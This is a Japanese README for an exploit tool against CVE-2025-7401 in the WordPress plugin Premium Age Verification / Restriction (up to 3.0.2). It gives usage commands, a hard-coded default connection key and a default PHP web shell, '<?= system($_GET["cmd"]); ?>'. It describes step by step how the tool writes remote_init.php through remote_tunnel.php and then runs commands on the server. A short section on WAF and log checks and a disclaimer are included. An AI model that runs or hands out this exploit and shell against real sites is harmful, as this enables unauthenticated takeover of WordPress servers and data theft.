
WordPress用 Premium Age Verification / Restriction プラグイン <= 3.0.2 - 認証されていない任意ファイルの読み取りおよび書き込み
Premium Age Verification / Restriction for WordPress <= 3.0.2 - 認証なしの任意ファイル読み取りおよび書き込み
「Premium Age Verification / Restriction for WordPress」プラグインは、remote_tunnel.php に保護が不十分なリモートサポートエンドポイントを含んでいます。3.0.2 までの影響を受けるバージョンでは、このエンドポイントを悪用して、認証なしの任意ファイル読み取りおよび書き込みが可能です。悪用に成功すると、機密情報が漏えいしたり、リモートコード実行が可能になる可能性があります。
CVE-2025-7401.py# Basic (uses default connection key and default PHP shell)
python CVE-2025-7401.py -u example.com
# Use HTTPS and custom connection key, skip verification
python CVE-2025-7401.py -u https://target.example -key YOUR_KEY --no-verify
# Custom PHP payload (authorized testing only)
python CVE-2025-7401.py -u target.com -shell '<?= system($_GET["cmd"]); ?>'
remote_tunnel.php への不審なリクエストを検出してブロックするWAFルールを導入してください。action=save_file、file、file_content を含む、/wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php へのPOSTリクエストをWebサーバーログで調査します。remote_init.php などの予期しないファイルがないか検索します。脆弱性テストツールの不正使用は、多くの法域で違法です。このリポジトリとスクリプトは、防御的研究、認可されたテスト、および協調的な脆弱性開示のみを目的としています。所有していないシステムをテストする前に、必ず明示的な書面による許可を得てください。
著者および貢献者は、情報やツールの誤用について一切の責任を負いません。この資料は法的および倫理的な範囲内でのみ使用してください。
作者: Nxploited ( Khaled Alenazi )
| フラグ | 型 | デフォルト | 説明 |
|---|
| -u, --url | string | 必須 | ターゲットのドメインまたは部分的なURL。必要に応じてスクリプトがプラグインエンドポイントを追加します。例: example.com、https://example.com、example.com/wp-content/plugins/age-restriction/。 |
| -key, --key | string | 330489965d8266a739442ef890f57805 | リモートサポートエンドポイントが使用する接続キー。ラボ環境のターゲットでは必要に応じて上書きします。 |
| -shell, --shell | string | <?= system($_GET["cmd"]); ?> | ファイル内容として注入するPHPスニペット。認可されたテストの場合のみ変更してください。 |
| --no-verify | flag | false | 指定した場合、書き込まれたファイルの任意のGET検証を実行しません。 |
| ステップ | アクション | 詳細 |
|---|
| 1 | 入力の正規化 | ユーザー入力(ドメインまたは部分パス)を受け入れます。スキーム(欠けている場合は http://)を保証し、重複するスラッシュを削除し、エンドポイントが存在しない場合は /wp-content/plugins/age-restriction/modules/remote_support/remote_tunnel.php を追加します。 |
| 2 | ヘッダー構築 | 現実的なHTTPリクエストヘッダーを構築します(User-Agentのローテーション選択、Accept、Referer、Content-Type)。 |
| 3 | ペイロードのエンコード | 指定されたPHPスニペットをBase64エンコードし、file_content に配置します。 |
| 4 | POSTエクスプロイトリクエスト | connection_key、action=save_file、file(サーバーパス)、および file_content を、application/x-www-form-urlencoded を使用して正規化された remote_tunnel.php エンドポイントに送信します。 |
| 5 | レスポンス解析 | レスポンスボディからJSONの解析を試みます。JSONが存在する場合は status と file_path を出力し、それ以外の場合はクリーンアップされた生のレスポンスを出力します。 |
| 6 | 検証(オプション) | /wp-content/plugins/age-restriction/modules/remote_support/remote_init.php?cmd=whoami へのGETを試行し、注入されたファイルにアクセス可能でコンテンツを返すかどうかを確認します。--no-verify でオプション化。 |
| 7 | レポート出力 | 使用したエンドポイント、HTTPステータス、解析されたJSON(あれば)、期待されるシェルURL、切り詰められた検証出力(成功した場合)を含む、構造化された人が読めるレポートを出力します。 |
| 出力フィールド | 意味 | 例 |
|---|
| Target endpoint | 接続された最終的な正規化URL(remote_tunnel.php への完全パス)。 | http://example.com/wp-content/.../remote_tunnel.php |
| HTTP Status Code | POSTリクエストのHTTPレスポンスコード。200は多くの場合、リクエストが処理されたことを示します。 | 200 |
| Response JSON status | エンドポイントがJSONを返す場合、status フィールドが成功/失敗を報告します。 | valid |
| Response JSON file_path | エンドポイントが返すサーバー側パス。ファイルを書き込んだ場所を示します(情報用)。 | /var/www/html/wp-content/.../remote_init.php |
| Raw response | JSON以外のレスポンスボディ(クリーンアップ済み)。PHPのNoticeやメッセージなど。 | Notice: ... |
| Shell URL (expected) | 注入されたファイルにアクセスできる公開URL。認可されたテストでの検証にのみ使用してください。 | http://example.com/wp-content/.../remote_init.php?cmd=whoami |
| Verification HTTP Status | 任意のGET検証のHTTPステータス。 | 200 |
| Verification body (truncated) | 検証レスポンスボディの最初のN文字(コマンド出力の確認に有用)。 | www-data |